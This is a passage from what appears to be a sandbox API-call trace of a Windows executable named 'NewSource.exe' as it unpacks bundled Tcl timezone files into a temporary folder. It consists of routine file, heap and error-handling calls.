| out: hHeap=0x530000) returned 1 [0042.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.354] CloseHandle (hObject=0x10c) returned 1 [0042.354] GetLastError () returned 0x0 [0042.354] SetLastError (dwErrCode=0x0) [0042.354] GetLastError () returned 0x0 [0042.354] SetLastError (dwErrCode=0x0) [0042.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.354] GetFileType (hFile=0x10c) returned 0x1 [0042.354] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.354] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.354] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.354] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.354] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.354] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.354] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.354] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.355] CloseHandle (hObject=0x10c) returned 1 [0042.355] GetLastError () returned 0x0 [0042.355] SetLastError (dwErrCode=0x0) [0042.355] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.355] GetFileType (hFile=0x10c) returned 0x1 [0042.355] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.355] CloseHandle (hObject=0x10c) returned 1 [0042.355] GetLastError () returned 0x0 [0042.355] SetLastError (dwErrCode=0x0) [0042.355] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.355] GetFileType (hFile=0x10c) returned 0x1 [0042.355] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.356] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.356] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.356] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.356] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.356] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.356] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.356] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.356] CloseHandle (hObject=0x10c) returned 1 [0042.356] GetLastError () returned 0x0 [0042.356] SetLastError (dwErrCode=0x0) [0042.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Dublin") returned 70 [0042.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Dublin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\dublin"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.356] GetLastError () returned 0x2 [0042.356] SetLastError (dwErrCode=0x2) [0042.356] GetLastError () returned 0x2 [0042.356] SetLastError (dwErrCode=0x2) [0042.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Dublin", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Dublin", lpFilePart=0x0) returned 0x45 [0042.356] GetLastError () returned 0x2 [0042.356] SetLastError (dwErrCode=0x2) [0042.356] GetLastError () returned 0x2 [0042.356] SetLastError (dwErrCode=0x2) [0042.356] GetLastError () returned 0x2 [0042.357] SetLastError (dwErrCode=0x2) [0042.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Dublin") returned 70 [0042.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Dublin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\dublin"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.357] GetFileType (hFile=0x10c) returned 0x1 [0042.357] htonl (hostlong=0x4250000) returned 0x2504 [0042.357] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.358] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.358] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x504, lpOverlapped=0x0) returned 1 [0042.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.358] CloseHandle (hObject=0x10c) returned 1 [0042.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.358] htonl (hostlong=0x30000000) returned 0x30 [0042.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.359] GetFileType (hFile=0x10c) returned 0x1 [0042.359] htonl (hostlong=0xc00d5c00) returned 0x5c0dc0 [0042.359] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60bdc0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.359] htonl (hostlong=0x8b070000) returned 0x78b [0042.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x78b) returned 0x55e278 [0042.359] htonl (hostlong=0x8b070000) returned 0x78b [0042.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.359] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.359] htonl (hostlong=0xdd230000) returned 0x23dd [0042.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x23dd) returned 0x561090 [0042.359] htonl (hostlong=0x8b070000) returned 0x78b [0042.359] htonl (hostlong=0xdd230000) returned 0x23dd [0042.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563478 [0042.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563478 | out: hHeap=0x530000) returned 1 [0042.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.359] CloseHandle (hObject=0x10c) returned 1 [0042.359] GetLastError () returned 0x0 [0042.359] SetLastError (dwErrCode=0x0) [0042.359] GetLastError () returned 0x0 [0042.359] SetLastError (dwErrCode=0x0) [0042.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.360] GetFileType (hFile=0x10c) returned 0x1 [0042.360] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.360] CloseHandle (hObject=0x10c) returned 1 [0042.360] GetLastError () returned 0x0 [0042.360] SetLastError (dwErrCode=0x0) [0042.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.360] GetFileType (hFile=0x10c) returned 0x1 [0042.360] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.361] CloseHandle (hObject=0x10c) returned 1 [0042.361] GetLastError () returned 0x0 [0042.361] SetLastError (dwErrCode=0x0) [0042.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.361] GetFileType (hFile=0x10c) returned 0x1 [0042.361] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.361] CloseHandle (hObject=0x10c) returned 1 [0042.361] GetLastError () returned 0x0 [0042.361] SetLastError (dwErrCode=0x0) [0042.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Gibraltar") returned 73 [0042.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Gibraltar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\gibraltar"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.361] GetLastError () returned 0x2 [0042.361] SetLastError (dwErrCode=0x2) [0042.361] GetLastError () returned 0x2 [0042.361] SetLastError (dwErrCode=0x2) [0042.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Gibraltar", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Gibraltar", lpFilePart=0x0) returned 0x48 [0042.361] GetLastError () returned 0x2 [0042.362] SetLastError (dwErrCode=0x2) [0042.362] GetLastError () returned 0x2 [0042.362] SetLastError (dwErrCode=0x2) [0042.362] GetLastError () returned 0x2 [0042.362] SetLastError (dwErrCode=0x2) [0042.362] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Gibraltar") returned 73 [0042.362] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.362] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Gibraltar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\gibraltar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.362] GetFileType (hFile=0x10c) returned 0x1 [0042.362] htonl (hostlong=0xdd230000) returned 0x23dd [0042.362] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.363] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.363] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x3dd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x3dd, lpOverlapped=0x0) returned 1 [0042.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.363] CloseHandle (hObject=0x10c) returned 1 [0042.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.364] htonl (hostlong=0x30000000) returned 0x30 [0042.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.364] GetFileType (hFile=0x10c) returned 0x1 [0042.364] htonl (hostlong=0x4b155c00) returned 0x5c154b [0042.364] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60c54b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.364] htonl (hostlong=0x89000000) returned 0x89 [0042.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0042.364] htonl (hostlong=0x89000000) returned 0x89 [0042.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.365] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.365] htonl (hostlong=0xb2000000) returned 0xb2 [0042.365] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb2) returned 0x550600 [0042.365] htonl (hostlong=0x89000000) returned 0x89 [0042.365] htonl (hostlong=0xb2000000) returned 0xb2 [0042.365] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.365] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.365] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.365] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.366] CloseHandle (hObject=0x10c) returned 1 [0042.366] GetLastError () returned 0x0 [0042.366] SetLastError (dwErrCode=0x0) [0042.366] GetLastError () returned 0x0 [0042.366] SetLastError (dwErrCode=0x0) [0042.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, 